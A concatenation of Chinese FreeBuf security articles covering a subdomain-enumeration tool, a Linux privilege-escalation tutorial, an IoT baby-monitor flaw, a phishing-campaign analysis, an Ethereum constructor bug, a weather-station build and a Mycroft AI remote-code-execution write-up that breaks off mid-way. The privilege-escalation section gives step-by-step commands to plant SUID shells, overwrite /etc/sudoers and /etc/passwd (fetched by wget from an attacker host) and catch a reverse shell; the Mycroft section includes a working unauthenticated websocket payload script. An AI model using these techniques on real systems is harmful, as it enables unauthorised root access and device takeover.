20180624074803.png

SubFinder是一个子域发现工具,可以为任何目标枚举海量的有效子域名。它已成为sublist3r项目的继承者。SubFinder使用被动源,搜索引擎,Pastebins,Internet Archives等来查找子域,然后使用灵感来自于altdns的置换模块来生成排列,并使用强大的bruteforcing引擎快速的解析它们。如果需要,它也可以执行纯粹的爆破。此外,SubFinder还具有高可定制性。其代码构建模块化的特点,使你能够轻松地添加功能或移除错误。

视频演示:https://asciinema.org/a/177851

特性

简单且模块化的代码库使你能够轻松地为其添加功能或移除错误。

快速且强大的Bruteforcing模块

强大的置换生成引擎。(开发中)

海量被动数据源(目前有29个)

支持多种输出格式

Ask, Archive.is, Baidu, Bing, Censys, CertDB, CertSpotter, CrtSH, DnsDB, DNSDumpster, Dogpile, Entrust CT-Search, Exalead, FindSubdomains, Hackertarget, IPv4Info, Netcraft, PassiveTotal, PTRArchive, Riddler, SecurityTrails, SiteDossier, Shodan, SSL Certificates, ThreatCrowd, ThreatMiner, Virustotal, WaybackArchive, Yahoo

使用

./subfinder -h

显示帮助信息

Flag 描述 示例
-b 使用bruteforcing查找子域 ./subfinder -d example.com -b
-c 不要显示彩色输出 ./subfinder -c
-d 通过域名查子域 ./subfinder -d example.com
-dL 通过域名列表查子域 ./subfinder -dl hosts.txt
-nW 删除通配符子域 ./subfinder -nw
-o 输出文件名(可选) ./subfinder -o output.txt
-oT 以Aquatone风格的JSON格式写入输出(必需与-nW一起使用) ./subfinder -o output.txt -nw -oA
-oJ 以JSON格式写入输出 ./subfinder -o output.json -oJ
-oD 输出到目录(使用多个主机时) ./subfinder -od ~/misc/out/
-r 逗号分隔域名解析服务器地址 ./subfinder -r 8.8.8.8,1.1.1.1
-rL 包含要使用的解析列表文件 ./subfinder -rL resolvers.txt
–recursive 使用递归查找子域(默认为:true) ./subfinder –recursive
–set-config 更改配置选项 ./subfinder –set-config example=something
–set-settings 更改设置选项 ./subfinder –set-settings CensysPages=10
–silent 仅显示找到的子域 ./subfinder –silent
–sources 逗号分隔使用的源文件列表(可选) ./subfinder –sources threatcrowd,virustotal
–exclude-sources 逗号分隔不使用的源文件列表(可选) ./subfinder –exclude-sources threatcrowd,virustotal
-t 并发线程数(爆破) ./subfinder -t 10
–timeout 等待直到退出连接 ./subfinder –timeout 10
-v 显示详细输出 ./subfinder -v
-w 用于执行bruteforcing和置换的字典列表 ./subfinder -w words.txt

安装说明

直接安装

SubFinder需要go1.10+的环境才能成功安装!使用go get命令下载SubFinder:

go get github.com/Ice3man543/subfinder

更新

你还可以使用-u命令来强行更新代码包:

go get -u github.com/Ice3man543/subfinder

在Docker Container中运行

Git clone repo,然后使用以下命令在container中构建并运行subfinder

git clone https://github.com/Ice3man543/subfinder.git

创建你的docker container

docker build -t subfinder .

在container创建后,执行以下命令。

docker run -it subfinder

以上命令与运行-h相同

注意:请务必按照后安装步骤正确配置该工具。

例如,以下将针对uber.com运行该工具,并将结果输出到你的主机文件系统:

docker run -v $HOME/.config/subfinder:/root/.config/subfinder -it subfinder -d uber.com > uber.com.txt

后安装说明

在成功安装Subfinder后,我们还需要做一些配置工作。某些服务的使用,需要我们手中有API密钥。如果没有,以下服务将会无法正常工作:

Virustotal

Passivetotal

SecurityTrails

Censys

Riddler

Shodan

这些是你必须通过命令行指定的配置选项。

VirustotalAPIKey

PassivetotalUsername

PassivetotalKey

SecurityTrailsKey

RiddlerEmail

RiddlerPassword

CensysUsername

CensysSecret

ShodanAPIKey

这些值存储在首次运行该工具时被创建的$HOME/.config/subfinder/config.json文件中。使用–set-config选项设置服务API密钥:

./subfinder --set-config VirustotalAPIKey=0x41414141
./subfinder --set-config PassivetotalUsername=hacker,PassivetotalKey=supersecret

如果你使用的是docker,则首先需要你手动来创建保存subfinder配置文件的目录结构。你可以在主机系统中运行二进制文件,然后让它创建文件的目录结构,之后可以使用–set-config选项设置api值。手动创建命令如下:

mkdir $HOME/.config/subfinder
cp config.json $HOME/.config/subfinder/config.json
nano $HOME/.config/subfinder/config.json

配置完成后,你可以运行以下命来枚举目标子域:

sudo docker run -v $HOME/.config/subfinder:/root/.config/subfinder -it subfinder -d freelancer.com

运行

查找目标域子域:

./subfinder -d freelancer.com
[CERTSPOTTER] www.fi.freelancer.com
[DNSDUMPSTER] hosting.freelancer.com
[DNSDUMPSTER] support.freelancer.com
[DNSDUMPSTER] accounts.freelancer.com
[DNSDUMPSTER] phabricator.freelancer.com
[DNSDUMPSTER] cdn1.freelancer.com
[DNSDUMPSTER] t1.freelancer.com
[DNSDUMPSTER] wdc.t1.freelancer.com
[DNSDUMPSTER] dal.t1.freelancer.com

-o命令可用于指定输出文件。

./subfinder -d freelancer.com -o output.txt

你还可以使用-oJ选项,将输出格式显示为json。–silent:仅显示没有任何其他信息的子域。–set-config:更改配置选项值。–set-setting:更改设置选项,例如我们可以使用该选项指定Censys的检查页数:

./subfinder -d freelancer.com --sources censys --set-settings CensysPages=2 -v 

如果要检查censys返回的所有页面,则可以使用 “all” 选项。注意,这是一个字符串。

以下是当前支持的设置

CensysPages

AskPages

BaiduPages

BingPages

对于bruteforcing功能,你可以使用-b和-w选项来指定一个字典列表。

./subfinder -d freelancer.com -b -w jhaddix_all.txt -t 100 --sources censys --set-settings CensysPages=2 -v 

你也可以以Aquatone风格的JSON格式写入输出。

./subfinder -d freelancer.com -o result_aquatone.json -oT -nW -v 

指定域名解析服务地址:

./subfinder -d freelancer.com -o result_aquatone.json -oT -nW -v -r 8.8.8.8,1.1.1.1
./subfinder -d freelancer.com -o result_aquatone.json -oT -nW -v -rL resolvers.txt

 *参考来源:GitHubFB小编 secist 编译,转载请注明来自FreeBuf.COM

1.png

写在前面的话

在Linux系统中,任何东西都是以文件形式存在的,包括目录和设备在内,它们都拥有读取、写入和执行权限(需配置)。当管理员在设置文件权限时,必须根据Linux用户的具体情况来进行设置。

在这篇文章中,我们将跟大家讨论如何通过可写文件/脚本来实现Linux下的提权。接下来,我们直奔主题。

打开你的电脑,然后入侵目标系统,我们直接进入到提权环节。假设我已经通过ssh成功登录目标设备,然后访问了非root用户终端。接下来,使用下列命令枚举出全部拥有可写权限的文件:

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

你可以看到,结果中有一个存储在/lib/log目录中的python文件,查看之后我们发现sanitizer.py的权限为777:

2.png

看来这个文件是管理员用来清理/tmp目录垃圾的,这种文件会在一定的时间间隔后自动执行。如果攻击者也发现了这一点,那么他们就能够通过接下来所介绍的方式实现提权了。

3.png

第一种方法

把/bin/sh拷贝到/tmp中,启用/tmp/sh的SUID。这种方法很简单,首先使用编辑器来打开文件,例如“nanosanitizer.py”,然后用下列内容替换掉“rm -r/tmp”

os.system('cp/bin/sh /tmp/sh')
os.system('chmodu+s /tmp/sh')

4.png

接下来,它会在/tmp目录中创建一个拥有SUID权限的sh文件,你运行该文件之后你就能拿到root权限了。

cd /tmp
ls
./sh
id
whoami

5.png

第二种方法

跟之前的方法一样,你可以用下列代码替换掉原来的“rm -r /tmp”:

os.system(‘chmod u+s /bin/dash)

6.png

一段时间之后,它会给/bin/dash文件设置SUID权限,当你运行它之后你就能拿到root权限了:

/bin/dash
id
whoami

7.png

第三种方法

这里我们需要将python反向shell连接代码复制到“rm -r /tmp/*”这里,然后在新的终端里开启netcat监听器:

8.png

一段时间之后你就会通过netcat拿到反向shell连接,并获取到root权限了:

nc-lvp 1234
id
whoami

9.png

第四种方法

这是一种最有趣的方法,我们可以通过这种方法来使用sudo权限去登录目标设备。大家可以看到,wernerbrandes现在还无法运行sudo命令:

10.png

将下列代码替换掉“rm -r /tmp/*”:

os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

11.png

一定时间之后,当你运行“sudo -l”命令之后,你就会发现这个账号变成了sudo用户,然后你就可以拿到root权限了:

sudo -l
sudo bash
id

第五种方法

在任何一个类Linux系统中,passwd文件的重要性不言而喻,如果攻击者可以访问或修改这个文件,那么该文件就变成了一种提权方式。在可写脚本的帮助下,我们可以使用cat命令来访问etc/passwd文件。

大家可以从下图中看到高亮标注的nemo用户信息,我猜测UID:1000 & GID:1000表示该用户很可能在管理员组里面。我们需要修改nemo记录并让它成为root组成员。首先,把etc/passwd文件的内容拷贝到一个空白的text文件中。

12.png

然后在新的终端里,生成salt密码:

openssl passwd -1 -salt abc 123

13.png

把salt密码拷贝到nemo用户记录条目的“X”位置,把之前的UID&GID改成0:0。完成所有步骤之后,把刚才新建的text文件保存问“passwd”,然后把这个文件拷贝到目标主机中覆盖掉原始的passwd文件。

cd Desktop
python -m SimpleHTTPServer 80

14.png

利用可写脚本,用下列命令替换掉“rm -r /tmp/*”:

os.system(‘chmod u+s /bin/cp)

过一段时间之后它将会开启/bin/cp的SUID权限,然后完成文件拷贝。

15.png

将修改后的passwd文件拷贝到目标主机的/tmp目录中,然后输入下列命令:

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

16.png

使用下列命令查看passwd文件是否替换成功:

tail /etc/passwd

17.png

通过下列命令拿到root权限:

su nemo
password123
whoami

总结

在这篇文章中我们给大家演示了攻击者如何利用可写文件实现提权,希望大家喜欢。

18.png

* 参考来源:hackingarticles,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近日,SEC Consult的安全研究人员发布报告称,Fredi公司的无线婴儿监控设备存在严重漏洞,该漏洞可被未经身份验证的攻击者所利用,不仅能够监控他人还能藉此入侵整个家庭网络。

Fredi-Wi-Fi-baby-monitor.jpg

这项调查最初始于美国南卡罗莱纳州的一则新闻:一位名为杰米·萨米特的母亲,声称有人控制了她家的婴儿监视器并且一直在监视她。

调查显示该设备的固件以及一些基础程序均是由一家深圳名为技微时代科技的公司提供。

研究人员表示,很多商用的监控设备都会默认开启P2P云功能,在使用过程中将其连接到云服务架构中并保持连接状态。用户可以通过移动设备以及桌面应用程序通过云端访问其设备。

这种架构使得用户能够轻松与监视器进行交互。然而该设备的路由器上没有防火墙规则,也没有端口转发限制以及DDNS的设置。

研究人员强调,这种设置存在很多安全隐患:

1.云服务商会获取所有数据。(即,云服务提供商可以看到所有视频)

说到这里则又有了一些其他问题,什么人在运行这些服务器?他们在什么地方?他们的行为是否符合当地法规?例如欧盟的GDPR(通用数据保护条例)?

2.如果数据连接没有被正确加密,那么任何人都可以通过拦截设备连接并获取交换的数据。

3.“P2P云功能”可以绕过防火墙直接连接专用网络。那么,攻击者不仅可以攻击那些有意/无意暴露于网络的设备,还能通过P2P云暴露大量其他设备。

SEC Consult解释说,在设备的背面有一个ID码和一个初始密码(ID:11610289,password:123)。在支持应用中,有一个“添加在线设备”功能,允许添加设备。另外,这个默认密码不是随机生成,也不是特定于某个设备,而是统一的。除非用户自行更改密码,否则任何人都可以通过不同的云ID来链接相应设备。

“很显然,这个设备和云服务都不符合GDPR标准。”专家表示,未来在处理这种来自不透明供应链和不安全云服务的电子设备问题将会非常棘手。

*参考来源:Securityaffairs,FB小编Karunesh91编译,转载请注明来自FreeBuf.COM

本周梗概

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,上周五第四届MOSEC移动安全技术峰会如期举行,来自全球的优秀互联网专家齐聚上海;江苏检方依法逮捕山寨微信案件嫌疑人;WiFi联盟发布新一代WPA3安全标准。想要了解详情,请看本周的BUF大事件吧!

观看视频

看不到视频点这里

* 本文作者:willhuang,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

众所周知,iPhone6/6Plus内置气压传感器,不过大家对于气压传感器还是很陌生。跟字面的意思一样,气压传感器就是用来测量气压的,但测量气压对于普通的手机用户来说又有什么作用呢?

海拔高度测量

对于喜欢登山的人来说,会非常关心自己所处的高度。海拔高度的测量方法,一般常用的有2种方式,一是通过GPS全球定位系统,二是通过测出大气压,然后根据气压值计算出海拔高度。由于受到技术和其它方面原因的限制,GPS计算海拔高度一般误差都会有十米左右,而如果在树林里或者是在悬崖下面时,有时候甚至接收不到GPS卫星信号。而气压的方式可选择的范围会广些,而且可以把成本控制的比较低。在手机原有GPS的基础上再增加气压传感器的功能,可让三维定位更加精准。

最近发现一块好玩的开发板——TPYBoardv702,这个板子可以定位、发短信、打电话,并且板载温湿度传感器、光敏传感器以及蜂鸣器,可以DIY很多有趣的东西,下面我们可以用这个板子加一个气压传感器来做一个小型气象站,来张实物图:

TPYBoardv702

定位功能我就不多说了,如果需要的话可以私聊。

那么我们利用这块板子跟BMP180气压传感器来做一个小型家庭气象站,来检测当地温度以及当地气压与海拔,如果想做更好玩的东西,可以接其他传感器或者加个继电器来控制其他设备。

BMP180是一直常见的气压传感器,BMP180是一款高精度、小体积、超低能耗的压力传感器,可以应用在移动设备中,它的性能卓越,精度最低可以达到0.03hPa,并且耗电极低,只有3μA;BMP180采用强大的8-pin陶瓷无引线芯片承载(LCC)超薄封装,可以通过I2C总线直接与各种微处理器相连。

硬件接线图

TPYBoard v702         BMP180
3.3V VIN
GND GND
Y9 SCL
Y10 SDA

效果展示图

连接完毕后,将font.py,upcd8544.py与bmp180的库导入,就可以通过以下方法分别读取温度、气压、海拔高度了。

源代码

oot.py,upcd8544.py库的下载地址

http://www.tpyboard.com/support/studyexample14/206.html

导入需要的类库,编辑好main.py,直接运行就ok了,下面是main.py的程序源码

# main.py -- put your code here!

import pyb

import upcd8544

from machine import SPI,Pin

from ubinascii import hexlify

from ubinascii import *

from bmp180 import BMP180

bmp=BMP180(2)

SPI = pyb.SPI(1) #DIN=>X8-MOSI/CLK=>X6-SCK

#DIN =>SPI(1).MOSI 'X8' data flow (Master out, Slave in)

#CLK =>SPI(1).SCK  'X6' SPI clock

RST    = pyb.Pin('X20')

CE     = pyb.Pin('X19')

DC     = pyb.Pin('X18')

LIGHT  = pyb.Pin('X17')

lcd_5110 = upcd8544.PCD8544(SPI, RST, CE, DC, LIGHT)

while True:

       tem=bmp.getTemp()

       press=bmp.getPress()

       altitude=bmp.getAltitude()

       lcd_5110.lcd_write_string('Tem:',0,0)

       lcd_5110.lcd_write_string(str(tem),0,1)

       lcd_5110.lcd_write_string('C',65,1)

       lcd_5110.lcd_write_string('Press:',0,2)

       lcd_5110.lcd_write_string(str(press),0,3)

       lcd_5110.lcd_write_string('Pa',65,3)      

       lcd_5110.lcd_write_string('Hight:',0,4)

       lcd_5110.lcd_write_string(str(altitude),0,5)

       lcd_5110.lcd_write_string('M',65,5)

bmp180.py库的源码

import pyb

from pyb import I2C

BMP180_I2C_ADDR = const(0x77)

class BMP180():

    def __init__(self, i2c_num):

        self.i2c = I2C(i2c_num, I2C.MASTER, baudrate = 100000)

        self.AC1 = self.short(self.get2Reg(0xAA))

        self.AC2 = self.short(self.get2Reg(0xAC))

        self.AC3 = self.short(self.get2Reg(0xAE))

        self.AC4 = self.get2Reg(0xB0)

        self.AC5 = self.get2Reg(0xB2)

        self.AC6 = self.get2Reg(0xB4)

        self.B1 = self.short(self.get2Reg(0xB6))

        self.B2 = self.short(self.get2Reg(0xB8))

        self.MB = self.short(self.get2Reg(0xBA))

        self.MC = self.short(self.get2Reg(0xBC))

        self.MD = self.short(self.get2Reg(0xBE))

        self.UT = 0

        self.UP = 0

        self.B3 = 0

        self.B4 = 0

        self.B5 = 0

        self.B6 = 0

        self.B7 = 0

        self.X1 = 0

        self.X2 = 0

        self.X3 = 0

    def short(self, dat):

        if dat > 32767:

            return dat - 65536

        else:

            return dat

    def setReg(self, dat, reg):

        buf = bytearray(2)

        buf[0] = reg

        buf[1] = dat

        self.i2c.send(buf, BMP180_I2C_ADDR)

    def getReg(self, reg):

        buf = bytearray(1)

        buf[0] = reg

        self.i2c.send(buf, BMP180_I2C_ADDR)

        t = self.i2c.recv(1, BMP180_I2C_ADDR)

        return t[0]

    def get2Reg(self, reg):

        a = self.getReg(reg)

        b = self.getReg(reg + 1)

        return a*256 + b

    def measure(self):

        self.setReg(0x2E, 0xF4)

        pyb.delay(5)

        self.UT = self.get2Reg(0xF6)

        self.setReg(0x34, 0xF4)

        pyb.delay(5)

        self.UP = self.get2Reg(0xF6)

    def getTemp(self):

        self.measure()

        self.X1 = (self.UT - self.AC6) * self.AC5/(1<<15)

        self.X2 = self.MC * (1<<11) / (self.X1 + self.MD)

        self.B5 = self.X1 + self.X2

        return (self.B5 + 8)/160

    def getPress(self):

        self.getTemp()

        self.B6 = self.B5 - 4000

        self.X1 = (self.B2 * (self.B6*self.B6/(1<<12))) / (1<<11)

        self.X2 = (self.AC2 * self.B6)/(1<<11)

        self.X3 = self.X1 + self.X2

        self.B3 = ((self.AC1*4+self.X3) + 2)/4

        self.X1 = self.AC3 * self.B6 / (1<<13)

        self.X2 = (self.B1 * (self.B6*self.B6/(1<<12))) / (1<<16)

        self.X3 = (self.X1 + self.X2 + 2)/4

        self.B4 = self.AC4 * (self.X3 + 32768)/(1<<15)

        self.B7 = (self.UP-self.B3) * 50000

        if self.B7 < 0x80000000:

            p = (self.B7*2)/self.B4

        else:

            p = (self.B7/self.B4) * 2

        self.X1 = (p/(1<<8))*(p/(1<<8))

        self.X1 = (self.X1 * 3038)/(1<<16)

        self.X2 = (-7357*p)/(1<<16)

        p = p + (self.X1 + self.X2 + 3791)/16

        return p

    def getAltitude(self):

        p = self.getPress()

        return (44330*(1-(p/101325)**(1/5.255)))

    def get(self):

        t = []

        t.append(self.getPress())

        t.append(self.getAltitude())

        t.append(self.getTemp())

        return t

*本文作者:bodasister,转载请注明来自FreeBuf.COM

自今年年初以来,你可能在WhatsApp上收到过联系人向你发送的,关于阿迪达斯运动鞋免费送的活动消息。

whatsapp-msg.jpg

据该消息称,阿迪达斯为庆祝其69周年将为广大消费者免费提供2500双阿迪达斯运动鞋,并在最后附上了项目承诺链接。该链接咋一看像是官方的链接地址,但如果你仔细观察你就会发现,其中adidas当中的“i”上少了一个点。这其实是一种网络罪犯惯用的障眼法,通常被称为同形异义字钓鱼攻击。然而,此类攻击并不新鲜。在一些安全媒体和博客上也早有报道,例如welivesecuritythecomputerperson 和 Doron Segal等。此外,该消息的结构也不是新的,早在2016年就已经观察到了一些类似的活动。

分析

当你点击WhatsApp消息中的链接时,它会进行一些检查以确保请求是从诸如智能手机的移动设备发出的。该检查主要是通过一些JavaScript代码,来对浏览器的window orientation属性以及屏幕宽度进行判断实现的。如果检查失败,用户将被重定向到http://neuewfarben[.]com/404,404页面。反之,则网站将获取访问者IP地址的地理位置数据,并根据访问者所在的国家/地区将其重定向到不同的链接地址。以下是部分国家所对应的链接列表。

国家 实际链接 表示
挪威,瑞典 www.xn—addas-04a[.]de/no.html www.adıdas[.]de/no.html
巴基斯坦,尼日利亚,肯尼亚,澳门 www.sweetfinalz[.]com/ www.sweetfinalz[.]com
美国 www.xn—disneycruse-7zb[.]com www.disneycruıse[.]com
荷兰,比利时 www.xn—addas-o4a[.]de/nl.html www.adıdas[.]de/no.html
印度 www.xn—jetarways-ypb[.]com

www.jetaırways[.]com

从上面的列表可以看出,Adidas并不是此次钓鱼攻击活动中唯一的“诱饵”

questions.jpg

接着,访问者将会看到有四个问卷调查的题目。无论受害者的答案是什么,他们都会得到一个信息,说他们有资格免费获取到一双阿迪的运动鞋。唯一的要求就是,必须向WhatsApp上的朋友分享获奖消息。

当受害者点击WhatsApp分享按钮时,就能从自己的联系人列表中选择更多的联系人,即便是他们选择关闭踩点,以后会被识别为分享有效,实际上,不管是否成功分享,只要用户返回页面就会被重定向到下一个阶段。以下是我们观察到的重定向链接:

http://www.xn--addas-o4a[.]de/final.html

http://track.voltrrk[.]com/0e548085-58e7-40e1-beba-b8940d6a8edc

http://redirect.dringston-enquency[.]com:80/redirect?target=BASE64aHR0cDovL3d3dy5wYWlyb2ZzY2h1aGUuY29tL2VuLmh0bWw&ts=1527005723770&hash=qcAp4Brw4y8SYgfUl1r_-pb4RQxIqqiFf6sLXB9OU4E&rm=D

http://www.pairofschuhe[.]com/en.html

pairofschuhe.jpg

这一阶段受害者需要回答几个问题,并且被告知他们必须在Facebook上分享广告。但无论受害者是否点击了分享按钮,都会获取到1美元领取鞋子的资格。点击“索赔1美元”的按钮,就会进入到该骗局的最后阶段。

http://www.pairofschuhe[.]com/go

http://track.voltrrk[.]com/c9d22249-b14d-4ddb-bc6c-59e43841cd0f

http://redirect.dringston-enquency[.]com:80/redirect?target=BASE64aHR0cHM6Ly90cmNrci5yb2Nrcy8_YT0yMTQ5JmM9MTI4NjMmczI9d1NSNUpJTUY1VEQ0OVAzRTFSQUpIOU5B&ts=1527011060929&hash=-eeKnNtq6vinT3e8YR39UXs0Fzna-Cp4z2lTlLFhuJU&rm=D

https://trckr[.]rocks/?a=2149&c=12863&s2=wSR5JIMF5TD49P3E1RAJH9NA

https://redirector[.]cc/go/5312?transaction_id=12750-197928458&pub_id=2149

https://promoztooffer[.]com/86088686/86088686_lp?lp_rid=5312&lp_sid=31&lp_did=6&lp_aid=28&forceLang=EN&a_p=33&transaction_id=12750-197928458&pub_id=2149&te=1527011136

在这一阶段将向受害者呈现最后一张表格,询问受害者的联系方式。需要注意的是,在页脚我们能看到以下信息:

subscription2.png

一旦成功购买后,受害者将会订阅“organizejobs”服务,并以每月49.99美元的金额,被收取所谓的高级账户使用费。

在以下截图中我们还可以看到,付款页面中也存在着欺骗和误导。显示的是免费试用,但50美元每月的价格看上去并不像是一份能免费的午餐。

payment.png

如果你再仔细观察,你会看到另一个破绽。在最下面的支付处理提示信息中,我们可以看到一个网址organizejobs[.]net。这很奇怪,因为该网站显然与制鞋公司无关。最重要的是,如果他们在七天后没有取消帐户,未来每月将被扣取50美元的费用。

Punycode和homoglyphs

在2003年,RFC 3492引入了Punycode(自RFC 5891更新以来); 一种在域名中编码非ASCII字符以支持国际化域名(IDN)的方法。这将允许在域名中使用所有的Unicode字符(如果顶级域名允许),本文中阿迪达斯就是一个典型的例子。以下是我们能够找到的该组织所使用的其它域(非完整):

Punycode编码 表示
xn—costo-7xa[.]com costċo[.]com
xn—superndo-xkb[.]com superındo[.]com
xn—disneycruse-7zb[.]com disneycruıse[.]com
xn—jetarways-ypb[.]com jetaırways[.]com
xn—bgbazaar-tkb[.]com bıgbazaar[.]com
xn—garuda-indonesa-llc[.]com garuda-indonesıa[.]com
xn—southwes-wyb[.]com southwesŧ[.]com
xn—mlka-lza[.]com mılka[.]com
xn—starucks-hpd[.]com starɓucks[.]com
xn—flysa-xcc[.]com flysaȧ[.]com
xn—costc-bec[.]com costcȯ[.]com
xn—sngaporeair-zzb[.]com sngaporeair[.]com
xn—alitala-wfb[.]com alitalıa[.]com
xn—harbo-p4a[.]com

harıbo[.]com

安全建议

其实这些网站除了网址可能会迷惑你之外,在其它方面可谓漏洞百出!以下是我的一些个人建议,或许能帮助你识破这种骗局:

在收到消息后,询问所显示的发件人是否确实发送了这些消息,因为消息也可能是在他们的手机上安装了恶意软件的情况下在当事人不知情的情况下发送;

在网上搜索报价,搜索官方是否发出遭受攻击的消息;

更换几个浏览器直接进入官网或者询问官微查询是否有相关活动通知;

如果不能确定,不要点击任何链接,最好删除包含这些链接的消息。

此外,由于同形异义字攻击已是一个已知的问题(请参阅Google Chrome中的IDN),因此在Web浏览器中也实施了一些缓解措施。Chrome和Firefox试图通过检查其是否包含来自多个字母的字符,来猜测域名是否可能存在欺诈行为。Firefox允许用户来决定是否显示Punycode语法。总之只要大家多长点心眼,就完全有可能避免此类欺骗。

 *参考来源:welivesecurityFB小编 secist 编译,转载请注明来自FreeBuf.COM

一、漏洞概述

以太坊智能合约的含义就是一组代码(函数)和数据(合约的状态),它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。

Morpheus Network与世界上一些大型航运、海关和银行公司协商,通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统 ,发布基于以太坊的 MorphToken。

2018年6月22日,Morpheus Network 发公告称将发布新的智能合约,以更新目前含有漏洞的合约代码。新的Token名称为MRPH,新旧Token以1:1兑换。

随后,知道创宇404区块链安全研究团队开始漏洞应急,通过分析MorphToken合约代码和交易历史,确定该漏洞是由于大小写编码问题,错误的将Owned合约的构造函数Owned的首字母小写,使之成为了一个普通函数owned,任何以太坊账户均可调用该函数夺取合约的所有权,进一步实现盗币等系列非法操作。随即我们发布了相关应急报告,同时我们也注意到BCSEC安全团队发布了相关的分析文档。

在后续的研究中,我们发现早在2017年8月29日,Github上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。

二、漏洞原理

在MorphToken的合约代码里:https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code 可以明显的看到相关大小写编写错误:

1.png

以太坊智能合约中的构造函数主要用于初始化,如:确定合约的所有者,并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中,构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错,那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下:

0×01 漏洞合约部署

下图中,Bank合约继承自Owned合约。在Owned合约中,由于错误的编码,将构造函数名称写错,owned函数成为了一个普通函数。可以看到,Bank合约部署后,由于缺少构造函数,初始化时owner为0×0000000000000000000000000000000000000000。

2.png

0×02 漏洞现场还原

任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数,更改Bank合约的owner变量,从而使合约所有权发生转移。

如下如所示,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后,可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理,攻击者也可以利用这个漏洞提权,实施一系列恶意操作。

3.png

三、漏洞影响评估

我们使用内部的以太坊智能合约审计系统对以太坊主链上所有30000+公开智能合约进行了自动化审计,确认受该大小写编码漏洞影响的共计16个,以下为统计结果:

(受漏洞影响程度取决于合约的逻辑,具体代码审计结果可联系知道创宇404区块链安全研究团队)

4.png

理论上在合约部署后,由于编码错误引起的构造函数缺失,owner默认值会变为0×0000000000000000000000000000000000000000,这样合约中涉及到owner的函数调用都会异常,合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币,因为合约存在这个编码漏洞而被盗币。通过分析Morph Token源代码,我们得到了答案。MorphToken继承了Owned合约,但是自己实现了构造函数。就是说,是父合约向外留了一个“后门”。

5.png

另一种情况,如果合约中没有涉及owner权限的函数调用,那么即使攻击者盗取了合约所有权,也没有任何用处。上表B2X合约中就是这种情况。

总体来说,受漏洞影响的合约数量不多,属于被MorphToken带着“火”了一把的漏洞。

事实上,很多安全漏洞都来源于程序员的粗心编码,智能合约这种部署后即不可更改的更应加强代码审计。

四、防护方案

0.4.22版本以后的solidity编译器引入了constructors关键字,以替代低版本的将合约名作为构造函数名的语法,从而避免程序员编码错误。强烈建议采用最新版本编译器。

6.png7.png

五、相关链接

[1] Morpheus 官网
https://morpheus.network/
[2] 官方公告
https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
[3] 以太坊主链智能合约
https://etherscan.io/contractsVerified
[4] 合约构造函数缺失漏洞示例
https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
[5] 漏洞详情参考
https://bcsec.org/index/detail?id=157&tag=1

*本文作者:[email protected]知道创宇404区块链安全研究团队,转载请注明来自FreeBuf.COM

xxx.jpg

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。

与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。

代码分析

在对Mycroft AI的源代码分析中,我发现了其中有意思的一个地方

...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...

在这里它定义了一个websocket服务端,用来接收类似于Andriod远程客户端的指令,在mycroft.conf中给出了websocket服务端设置的具体定义:

// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},

从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:

#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
       
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())

很好,我们能让Mycroft AI自己说 “pwned”,这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。

Mycroft AI 的技能系统

深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?

那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:

dialog/en-us/command.dialog: 包含了能触发技能的语音命令

vocab/en-us/answer.voc: 包含了Mycroft发声的答案

requirements.txt:  包含了由 pip 方式安装的技能所需安装包

__int__.py:包含了技能的主函数和触发执行时的需要加载的命令

利用分析

